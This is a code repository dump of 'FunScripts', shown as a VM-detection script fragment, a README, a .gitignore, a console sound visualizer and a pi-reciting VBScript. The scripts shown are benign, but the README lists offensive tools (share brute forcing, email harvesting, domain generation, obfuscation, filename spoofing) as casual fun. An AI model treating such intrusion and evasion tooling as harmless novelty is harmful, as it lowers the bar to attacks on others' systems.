| Write-Host "This system appears to be Physical Hardware" -ForegroundColor Green 143 | } 144 | 145 | return $IsVirtual 146 | } 147 | 148 | # Run the detection 149 | Test-IsVirtualMachine -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # FunScripts 2 | 3 | A collection of fun and interesting scripts I developed. Script toolbox. VBScript. PowerShell. Batch. 4 | 5 |

6 | Report bug 7 | · 8 | Request feature 9 |

10 | 11 | ## Disclaimer 12 | 13 | THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. YOU MAY USE THIS SOFTWARE AT YOUR OWN RISK. THE USE OF THIS SOFTWARE IS THE COMPLETE RESPONSIBILITY OF THE END-USER. THE DEVELOPERS ASSUME NO LIABILITY AND ARE NOT RESPONSIBLE FOR ANY MISUSE OR DAMAGE CAUSED BY THIS PROGRAM. 14 | 15 | ## Getting Started 16 | 17 | 1. Download 18 | ``` 19 | git clone https://github.com/KylerCondran/FunScripts.git 20 | ``` 21 | 2. Have Fun 22 | 23 | ## Features 24 | 25 | |
Script
|
Fun
|
Details
| 26 | |---------------------------------|----------|-----------------------------| 27 | | ADEnumerator.ps1 | ✔ | Enumerate AD Accounts | 28 | | BadPath.vbs | ✔ | Illegal Folder Structure | 29 | | Beep.ps1 | ✔ | Beeping Beeper | 30 | | BSOD.vbs | ✔ | Blue Screen of Death | 31 | | Caesar Cipher.vbs | ✔ | Caesar Cipher | 32 | | Certkrypt.De.ps1 | ✔ | File Decryptor | 33 | | Certkrypt.En.ps1 | ✔ | File Encryptor | 34 | | ConsoleVisualizer.ps1 | ✔ | Console Visualizer | 35 | | DetectVM.ps1 | ✔ | Detect Virtual Machine | 36 | | DividendCounter.ps1 | ✔ | Dividend Payment Counter | 37 | | Domain Generation Algorithm.ps1 | ✔ | Domain Generation Algorithm | 38 | | DriveInformation.vbs | ✔ | Display Drive Info | 39 | | EmailRaider.vbs | ✔ | Find Emails Recursively | 40 | | ExportCert.ps1 | ✔ | Export A Certificate | 41 | | FingerPrinter.ps1 | ✔ | FingerPrint A Computer | 42 | | GetCertByName.ps1 | ✔ | Get Certificate By Name | 43 | | InstallCert.ps1 | ✔ | Install Certificates | 44 | | ListDeDuper.vbs | ✔ | DeDupe Textfiles | 45 | | LogArchiver.bat | ✔ | Archive Logs | 46 | | Metamorphic Code.vbs | ✔ | Metamorphic Code Example | 47 | | NetworkDriveBruteForcer.vbs | ✔ | Brute Force Network Shares | 48 | | Pi-10000-Digits.vbs | ✔ | Speak Pi | 49 | | PingScanner.bat | ✔ | Ping Scanner | 50 | | PowerShellCommandEncoder.ps1 | ✔ | Encode Powershell Commands | 51 | | PowerShellToExe.ps1 | ✔ | Deploy Executables | 52 | | ProgrammaticTor.ps1 | ✔ | Use Tor To Download Files | 53 | | RightToLeft.vbs | ✔ | Right-To-Left Override | 54 | | SendNotification.ps1 | ✔ | Send Windows Toast Notifications | 55 | | StockChecker.ps1 | ✔ | Check Stock Prices Via API | 56 | | URLFileDownloader.vbs | ✔ | Download List Of File URLs | 57 | | VBSObfuscator.vbs | ✔ | Obfuscate VBS Scripts | 58 | | VBSToExe.vbs | ✔ | Deploy Executables | 59 | | YellowPagesScraper.vbs | ✔ | Business Info Webscraper | 60 | | Zelda.ps1 | ✔ | Play Zelda Theme | 61 | 62 | ## Contributing 63 | See our contributing guide at [CONTRIBUTING.md](../master/CONTRIBUTING.md). 64 | 65 | ## Copyright and License 66 | >The [MIT License](https://github.com/KylerCondran/FunScripts/blob/master/LICENSE) 67 | > 68 | >Copyright (c) 2025 Kyler Condran 69 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Oo]ut/ 33 | [Ll]og/ 34 | [Ll]ogs/ 35 | 36 | # Visual Studio 2015/2017 cache/options directory 37 | .vs/ 38 | # Uncomment if you have tasks that create the project's static files in wwwroot 39 | #wwwroot/ 40 | 41 | # Visual Studio 2017 auto generated files 42 | Generated\ Files/ 43 | 44 | # MSTest test Results 45 | [Tt]est[Rr]esult*/ 46 | [Bb]uild[Ll]og.* 47 | 48 | # NUnit 49 | *.VisualState.xml 50 | TestResult.xml 51 | nunit-*.xml 52 | 53 | # Build Results of an ATL Project 54 | [Dd]ebugPS/ 55 | [Rr]eleasePS/ 56 | dlldata.c 57 | 58 | # Benchmark Results 59 | BenchmarkDotNet.Artifacts/ 60 | 61 | # .NET Core 62 | project.lock.json 63 | project.fragment.lock.json 64 | artifacts/ 65 | 66 | # ASP.NET Scaffolding 67 | ScaffoldingReadMe.txt 68 | 69 | # StyleCop 70 | StyleCopReport.xml 71 | 72 | # Files built by Visual Studio 73 | *_i.c 74 | *_p.c 75 | *_h.h 76 | *.ilk 77 | *.meta 78 | *.obj 79 | *.iobj 80 | *.pch 81 | *.pdb 82 | *.ipdb 83 | *.pgc 84 | *.pgd 85 | *.rsp 86 | *.sbr 87 | *.tlb 88 | *.tli 89 | *.tlh 90 | *.tmp 91 | *.tmp_proj 92 | *_wpftmp.csproj 93 | *.log 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio LightSwitch build output 298 | **/*.HTMLClient/GeneratedArtifacts 299 | **/*.DesktopClient/GeneratedArtifacts 300 | **/*.DesktopClient/ModelManifest.xml 301 | **/*.Server/GeneratedArtifacts 302 | **/*.Server/ModelManifest.xml 303 | _Pvt_Extensions 304 | 305 | # Paket dependency manager 306 | .paket/paket.exe 307 | paket-files/ 308 | 309 | # FAKE - F# Make 310 | .fake/ 311 | 312 | # CodeRush personal settings 313 | .cr/personal 314 | 315 | # Python Tools for Visual Studio (PTVS) 316 | __pycache__/ 317 | *.pyc 318 | 319 | # Cake - Uncomment if you are using it 320 | # tools/** 321 | # !tools/packages.config 322 | 323 | # Tabs Studio 324 | *.tss 325 | 326 | # Telerik's JustMock configuration file 327 | *.jmconfig 328 | 329 | # BizTalk build output 330 | *.btp.cs 331 | *.btm.cs 332 | *.odx.cs 333 | *.xsd.cs 334 | 335 | # OpenCover UI analysis results 336 | OpenCover/ 337 | 338 | # Azure Stream Analytics local run output 339 | ASALocalRun/ 340 | 341 | # MSBuild Binary and Structured Log 342 | *.binlog 343 | 344 | # NVidia Nsight GPU debugger configuration file 345 | *.nvuser 346 | 347 | # MFractors (Xamarin productivity tool) working folder 348 | .mfractor/ 349 | 350 | # Local History for Visual Studio 351 | .localhistory/ 352 | 353 | # BeatPulse healthcheck temp database 354 | healthchecksdb 355 | 356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 357 | MigrationBackup/ 358 | 359 | # Ionide (cross platform F# VS Code tools) working folder 360 | .ionide/ 361 | 362 | # Fody - auto-generated XML schema 363 | FodyWeavers.xsd -------------------------------------------------------------------------------- /FunScripts/ConsoleVisualizer.ps1: -------------------------------------------------------------------------------- 1 | # ConsoleVisualizer.ps1 2 | # A fun script that creates a real-time sound visualizer in the console 3 | # Combines audio generation with visual patterns, AI generated 4 | 5 | # Constants for visual patterns 6 | $PATTERNS = @( 7 | '*', '#', '=', '-', '+', '|', '/', '\\', 'o', 'O', 'x', 'X' 8 | ) 9 | 10 | function Get-RandomPattern { 11 | return $PATTERNS | Get-Random 12 | } 13 | 14 | function Get-ColoredText { 15 | param([string]$text, [int]$freq) 16 | 17 | # Map frequency ranges to colors 18 | $color = switch ($freq) { 19 | { $_ -lt 300 } { 'DarkBlue' } 20 | { $_ -lt 500 } { 'Blue' } 21 | { $_ -lt 700 } { 'Cyan' } 22 | { $_ -lt 900 } { 'Green' } 23 | { $_ -lt 1100 } { 'Yellow' } 24 | { $_ -lt 1300 } { 'Red' } 25 | default { 'Magenta' } 26 | } 27 | 28 | $pattern = Get-RandomPattern 29 | return @{ 30 | Text = $text * ([Math]::Max(1, [Math]::Min(20, $freq / 100))) 31 | Color = $color 32 | } 33 | } 34 | 35 | function Show-SoundVisual { 36 | param([int]$freq, [int]$duration, [bool]$reverse = $false, [bool]$glitch = $false) 37 | $width = $host.UI.RawUI.WindowSize.Width 38 | $height = [int]$host.UI.RawUI.WindowSize.Height 39 | $heightMinus2 = $height - 2 40 | $visual = Get-ColoredText -freq $freq -text (Get-RandomPattern) 41 | $spaces = " " * ([Math]::Floor($freq / 100) % ($width / 2)) 42 | $matrixChars = @("0","1","|","I","l","!","$","@","#","%","^","&","*","+","-","=","~","A","B","C","D","E","F","G","H","J","K","L","M","N","P","Q","R","S","T","U","V","W","X","Y","Z") 43 | $allColors = @("Black","DarkBlue","DarkGreen","DarkCyan","DarkRed","DarkMagenta","DarkYellow","Gray","DarkGray","Blue","Green","Cyan","Red","Magenta","Yellow","White") 44 | $emojis = @(":)", ":D", ";)", ":P", ":-O", ":-|", ":-/", ":-\\", "<3", "^_^", "O_O", "T_T", "¯\_(ツ)_/¯") 45 | $invertColors = $false 46 | if ((Get-Random -Minimum 0 -Maximum 30) -eq 0) { $invertColors = $true } 47 | if ($invertColors) { 48 | $allColors = $allColors[($allColors.Length-1)..0] 49 | } 50 | # 2. Occasionally print a random PowerShell command at the top 51 | if ((Get-Random -Minimum 0 -Maximum 40) -eq 0) { 52 | $cmds = @('Get-Process','Get-Random','ls','Get-Date','Write-Host "Hello!"','Get-ChildItem','Get-Help','Clear-Host','Start-Sleep 1','Get-Location') 53 | $host.UI.RawUI.CursorPosition = @{X=0;Y=0} 54 | Write-Host ($cmds | Get-Random) -ForegroundColor ($allColors | Get-Random) 55 | } 56 | # 4. Occasionally clear only half the screen 57 | if ((Get-Random -Minimum 0 -Maximum 50) -eq 0) { 58 | for ($y=0; $y -lt [math]::Floor($height/2); $y++) { 59 | $host.UI.RawUI.CursorPosition = @{X=0;Y=$y} 60 | Write-Host (' ' * $width) -NoNewline 61 | } 62 | } 63 | if ($glitch -or $true) { 64 | # Matrix waterfall: vertical columns, mostly green, intentional chaos, more color variance 65 | for ($col = 0; $col -lt $width; $col += Get-Random -Minimum 1 -Maximum 6) { 66 | $dropLen = Get-Random -Minimum 2 -Maximum ([Math]::Max(4, $heightMinus2)) 67 | $startRow = Get-Random -Minimum 0 -Maximum $heightMinus2 68 | for ($row = $startRow; $row -lt [Math]::Min($height, $startRow+$dropLen); $row++) { 69 | # 5. Occasionally print a random emoji 70 | if ((Get-Random -Minimum 0 -Maximum 100) -eq 0) { 71 | $char = $emojis | Get-Random 72 | } else { 73 | $char = $matrixChars | Get-Random 74 | } 75 | $color = $allColors | Get-Random 76 | $bg = $allColors | Get-Random 77 | try { 78 | $host.UI.RawUI.CursorPosition = @{X=$col;Y=$row} 79 | } catch {} 80 | Write-Host $char -ForegroundColor $color -BackgroundColor $bg -NoNewline 81 | } 82 | } 83 | # --- Horizontal Waterfall Effect --- 84 | if ((Get-Random -Minimum 0 -Maximum 2) -eq 0) { 85 | for ($row = 0; $row -lt $height; $row += Get-Random -Minimum 1 -Maximum 6) { 86 | $dropLen = Get-Random -Minimum 2 -Maximum ([Math]::Max(4, $width-2)) 87 | $startCol = Get-Random -Minimum 0 -Maximum ($width-2) 88 | for ($col = $startCol; $col -lt [Math]::Min($width, $startCol+$dropLen); $col++) { 89 | if ((Get-Random -Minimum 0 -Maximum 100) -eq 0) { 90 | $char = $emojis | Get-Random 91 | } else { 92 | $char = $matrixChars | Get-Random 93 | } 94 | $color = $allColors | Get-Random 95 | $bg = $allColors | Get-Random 96 | try { 97 | $host.UI.RawUI.CursorPosition = @{X=$col;Y=$row} 98 | } catch {} 99 | Write-Host $char -ForegroundColor $color -BackgroundColor $bg -NoNewline 100 | } 101 | } 102 | } 103 | # Intentionally overlap lines and leave cursor in random place 104 | $host.UI.RawUI.CursorPosition = @{X=(Get-Random -Minimum 0 -Maximum $width);Y=(Get-Random -Minimum 0 -Maximum $height)} 105 | # Add some random gibberish at the bottom 106 | Write-Host ""; for ($i=0;$i -lt ($width/2);$i++) { Write-Host ($matrixChars | Get-Random) -ForegroundColor ($allColors | Get-Random) -NoNewline }; Write-Host "" 107 | } else { 108 | Write-Host "`r$spaces$($visual.Text)" -ForegroundColor ($allColors | Get-Random) -NoNewline 109 | } 110 | # 3. Occasionally play a long beep 111 | if ((Get-Random -Minimum 0 -Maximum 6) -eq 0) { 112 | [console]::Beep($freq, 500) 113 | } else { 114 | [console]::Beep($freq, $duration) 115 | } 116 | Start-Sleep -Milliseconds 1 117 | } 118 | 119 | function Show-AsciiArt { 120 | $arts = @( 121 | @' 122 | (o_o) 123 | <( )> 124 | / \ 125 | '@, 126 | @' 127 | /\_/\ 128 | ( o.o ) 129 | > ^ < 130 | '@, 131 | @' 132 | |\---/| 133 | | o_o | 134 | \_^_/ 135 | '@, 136 | @' 137 | .-"""-. 138 | / .===. \ 139 | \/ 6 6 \/ 140 | ( \___/ ) 141 | ___ooo__ooo___ 142 | '@, 143 | @' 144 | _____ 145 | / \ 146 | | () () | 147 | \ ^ / 148 | ||||# 149 | ||||# 150 | '@, 151 | @' 152 | __ 153 | / \ 154 | | | 155 | | | 156 | |____| 157 | '@, 158 | @' 159 | .-. 160 | (o o) 161 | |=| 162 | __|__ 163 | '@, 164 | @' 165 | ( ) ( ) 166 | ( .. ) 167 | (____) 168 | '@, 169 | @' 170 | _____ 171 | / \ 172 | | 0 0 | 173 | \ ^ / 174 | ||||# 175 | ||||# 176 | '@, 177 | @' 178 | (\_/) 179 | ( •_•) 180 | / >🍪 181 | '@ 182 | ) 183 | Write-Host ("`n" + ($arts | Get-Random)) -ForegroundColor ("Cyan","Yellow","Magenta","Green" | Get-Random) 184 | Start-Sleep -Milliseconds 400 185 | } 186 | 187 | function Play-Chord { 188 | param([int[]]$freqs, [int]$duration) 189 | foreach ($f in $freqs) { 190 | $clamped = [Math]::Max(37, [Math]::Min(32767, $f)) 191 | [console]::Beep($clamped, [Math]::Max(10, [Math]::Min($duration, 40))) 192 | } 193 | } 194 | 195 | function Start-Visualizer { 196 | Clear-Host 197 | Write-Host "Console Sound Visualizer: WILD MODE" 198 | Write-Host "Press Ctrl+C to exit`n" 199 | $scale = @(262, 294, 330, 349, 392, 440, 494, 523, 587, 659, 698, 784, 880, 988, 1047) 200 | $frame = 0 201 | try { 202 | while ($true) { 203 | foreach ($baseFreq in $scale) { 204 | $randomOffset = Get-Random -Minimum -60 -Maximum 60 205 | $freq = $baseFreq + $randomOffset 206 | $freq = [Math]::Max(37, [Math]::Min(32767, $freq)) # Clamp to valid beep range 207 | $duration = Get-Random -Minimum 5 -Maximum 20 208 | $reverse = $false 209 | $glitch = $false 210 | # Every 20 frames, show ASCII art 211 | if ($frame % 20 -eq 0 -and $frame -ne 0) { 212 | Show-AsciiArt 213 | } 214 | # Occasionally invert direction 215 | if ((Get-Random -Minimum 0 -Maximum 12) -eq 0) { 216 | $reverse = $true 217 | } 218 | # Occasionally glitch 219 | if ((Get-Random -Minimum 0 -Maximum 18) -eq 0) { 220 | $glitch = $true 221 | } 222 | # Occasionally play a chord 223 | if ((Get-Random -Minimum 0 -Maximum 25) -eq 0) { 224 | $chord = @($freq, $freq + 37, $freq + 7) 225 | Play-Chord -freqs $chord -duration $duration 226 | } else { 227 | Show-SoundVisual -freq $freq -duration $duration -reverse:$reverse -glitch:$glitch 228 | } 229 | $frame++ 230 | } 231 | if ((Get-Random -Minimum 0 -Maximum 2) -eq 0) { 232 | [array]::Reverse($scale) 233 | } 234 | } 235 | } 236 | catch { 237 | Write-Host $error 238 | } 239 | finally { 240 | Write-Host "" 241 | } 242 | } 243 | 244 | # Run the visualizer 245 | Start-Visualizer -------------------------------------------------------------------------------- /FunScripts/Pi-10000-Digits.vbs: -------------------------------------------------------------------------------- 1 | 'This script uses the Microsoft Speech API (SAPI) to say the first 10,000 digits of pi 2 | '...incase you ever needed such a thing... 3 | Set objVoice = CreateObject("SAPI.SpVoice") 4 | Dim Pi 5 | Pi = "3.1415926535897932384626433832795028841971693993751058209749445923078164062862089986280348253421170679821480865132823066470938446095505822317253594081284811174502841027019385211055596446229489549303819644288109756659334461284756482337867831652712019091456485669234603486104543266482133936072602491412737245870066063155881748815209209628292540917153643678925903600113305305488204665213841469519415116094330572703657595919530921861173819326117931051185480744623799627495673518857527248912279381830119491298336733624406566430860213949463952247371907021798609437027705392171762931767523846748184676694051320005681271452635608277857713427577896091736371787214684409012249534301465495853710507922796892589235420199561121290219608640344181598136297747713099605187072113499999983729780499510597317328160963185950244594553469083026425223082533446850352619311881710100031378387528865875332083814206171776691473035982534904287554687311595628638823537875937519577818577805321712268066130019278766111959092164201989380952572010654858632788659361533818279682303019520353018529689957736225994138912497217752834791315155748572424541506959508295331168617278558890750983817546374649393192550604009277016711390098488240128583616035637076601047101819429555961989467678374494482553797747268471040475346462080466842590694912933136770289891521047521620569660240580381501935112533824300355876402474964732639141992726042699227967823547816360093417216412199245863150302861829745557067498385054945885869269956909272107975093029553211653449872027559602364806654991198818347977535663698074265425278625518184175746728909777727938000816470600161452491921732172147723501414419735685481613611573525521334757418494684385233239073941433345477624168625189835694855620992192221842725502542568876717904946016534668049886272327917860857843838279679766814541009538837863609506800642251252051173929848960841284886269456042419652850222106611863067442786220391949450471237137869609563643719172874677646575739624138908658326459958133904780275900994657640789512694683983525957098258226205224894077267194782684826014769909026401363944374553050682034962524517493996514314298091906592509372216964615157098583874105978859597729754989301617539284681382686838689427741559918559252459539594310499725246808459872736446958486538367362226260991246080512438843904512441365497627807977156914359977001296160894416948685558484063534220722258284886481584560285060168427394522674676788952521385225499546667278239864565961163548862305774564980355936345681743241125150760694794510965960940252288797108931456691368672287489405601015033086179286809208747609178249385890097149096759852613655497818931297848216829989487226588048575640142704775551323796414515237462343645428584447952658678210511413547357395231134271661021359695362314429524849371871101457654035902799344037420073105785390621983874478084784896833214457138687519435064302184531910484810053706146806749192781911979399520614196634287544406437451237181921799983910159195618146751426912397489409071864942319615679452080951465502252316038819301420937621378559566389377870830390697920773467221825625996615014215030680384477345492026054146659252014974428507325186660021324340881907104863317346496514539057962685610055081066587969981635747363840525714591028970641401109712062804390397595156771577004203378699360072305587631763594218731251471205329281918261861258673215791984148488291644706095752706957220917567116722910981690915280173506712748583222871835209353965725121083579151369882091444210067510334671103141267111369908658516398315019701651511685171437657618351556508849099898599823873455283316355076479185358932261854896321329330898570642046752590709154814165498594616371802709819943099244889575712828905923233260972997120844335732654893823911932597463667305836041428138830320382490375898524374417029132765618093773444030707469211201913020330380197621101100449293215160842444859637669838952286847831235526582131449576857262433441893039686426243410773226978028073189154411010446823252716201052652272111660396665573092547110557853763466820653109896526918620564769312570586356620185581007293606598764861179104533488503461136576867532494416680396265797877185560845529654126654085306143444318586769751456614068007002378776591344017127494704205622305389945613140711270004078547332699390814546646458807972708266830634328587856983052358089330657574067954571637752542021149557615814002501262285941302164715509792592309907965473761255176567513575178296664547791745011299614890304639947132962107340437518957359614589019389713111790429782856475032031986915140287080859904801094121472213179476477726224142548545403321571853061422881375850430633217518297986622371721591607716692547487389866549494501146540628433663937900397692656721463853067360965712091807638327166416274888800786925602902284721040317211860820419000422966171196377921337575114959501566049631862947265473642523081770367515906735023507283540567040386743513622224771589150495309844489333096340878076932599397805419341447377441842631298608099888687413260472156951623965864573021631598193195167353812974167729478672422924654366800980676928238280689964004824354037014163149658979409243237896907069779422362508221688957383798623001593776471651228935786015881617557829735233446042815126272037343146531977774160319906655418763979293344195215413418994854447345673831624993419131814809277771038638773431772075456545322077709212019051660962804909263601975988281613323166636528619326686336062735676303544776280350450777235547105859548702790814356240145171806246436267945612753181340783303362542327839449753824372058353114771199260638133467768796959703098339130771098704085913374641442822772634659470474587847787201927715280731767907707157213444730605700733492436931138350493163128404251219256517980694113528013147013047816437885185290928545201165839341965621349143415956258658655705526904965209858033850722426482939728584783163057777560688876446248246857926039535277348030480290058760758251047470916439613626760449256274204208320856611906254543372131535958450687724602901618766795240616342522577195429162991930645537799140373404328752628889639958794757291746426357455254079091451357111369410911939325191076020825202618798531887705842972591677813149699009019211697173727847684726860849003377024242916513005005168323364350389517029893922334517220138128069650117844087451960121228599371623130171144484640903890644954440061986907548516026327505298349187407866808818338510228334508504860825039302133219715518430635455007668282949304137765527939751754613953984683393638304746119966538581538420568533862186725233402830871123282789212507712629463229563989898935821167456270102183564622013496715188190973038119800497340723961036854066431939509790190699639552453005450580685501956730229219139339185680344903982059551002263535361920419947455385938102343955449597783779023742161727111723643435439478221818528624085140066604433258885698670543154706965747458550332323342107301545940516553790686627333799585115625784322988273723198987571415957811196358330059408730681216028764962867446047746491599505497374256269010490377819868359381465741268049256487985561453723478673303904688383436346553794986419270563872931748723320837601123029911367938627089438799362016295154133714248928307220126901475466847653576164773794675200490757155527819653621323926406160136358155907422020203187277605277219005561484255518792530343513984425322341576233610642506390497500865627109535919465897514131034822769306247435363256916078154781811528436679570611086153315044521274739245449454236828860613408414863776700961207151249140430272538607648236341433462351897576645216413767969031495019108575984423919862916421939949072362346468441173940326591840443780513338945257423995082965912285085558215725031071257012668302402929525220118726767562204154205161841634847565169998116141010029960783869092916030288400269104140792886215078424516709087000699282120660418371806535567252532567532861291042487761825829765157959847035622262934860034158722980534989650226291748788202734209222245339856264766914905562842503912757710284027998066365825488926488025456610172967026640765590429099456815065265305371829412703369313785178609040708667114965583434347693385781711386455873678123014587687126603489139095620099393610310291616152881384379099042317473363948045759314931405297634757481193567091101377517210080315590248530906692037671922033229094334676851422144773793937517034436619910403375111735471918550464490263655128162288244625759163330391072253837421821408835086573917715096828874782656995995744906617583441375223970968340800535598491754173818839994469748676265516582765848358845314277568790029095170283529716344562129640435231176006651012412006597558512761785838292041974844236080071930457618932349229279650198751872127267507981255470958904556357921221033346697499235630254947802490114195212382815309114079073860251522742995818072471625916685451333123948049470791191532673430282441860414263639548000448002670496248201792896476697583183271314251702969234889627668440323260927524960357996469256504936818360900323809293459588970695365349406034021665443755890045632882250545255640564482465151875471196218443965825337543885690941130315095261793780029741207665147939425902989695946995565761218656196733786236256125216320862869222103274889218654364802296780705765615144632046927906821207388377814233562823608963208068222468012248261177185896381409183903673672220888321513755600372798394004152970028783076670944474560134556417254370906979396122571429894671543578468788614445812314593571984922528471605049221242470141214780573455105008019086996033027634787081081754501193071412233908663938339529425786905076431006383519834389341596131854347546495569781038293097164651438407007073604112373599843452251610507027056235266012764848308407611830130527932054274628654036036745328651057065874882256981579367897669742205750596834408697350201410206723585020072452256326513410559240190274216248439140359989535394590944070469120914093870012645600162374288021092764579310657922955249887275846101264836999892256959688159205600101655256375679" 6 | objVoice.Speak Pi --------------------------------------------------------------------------------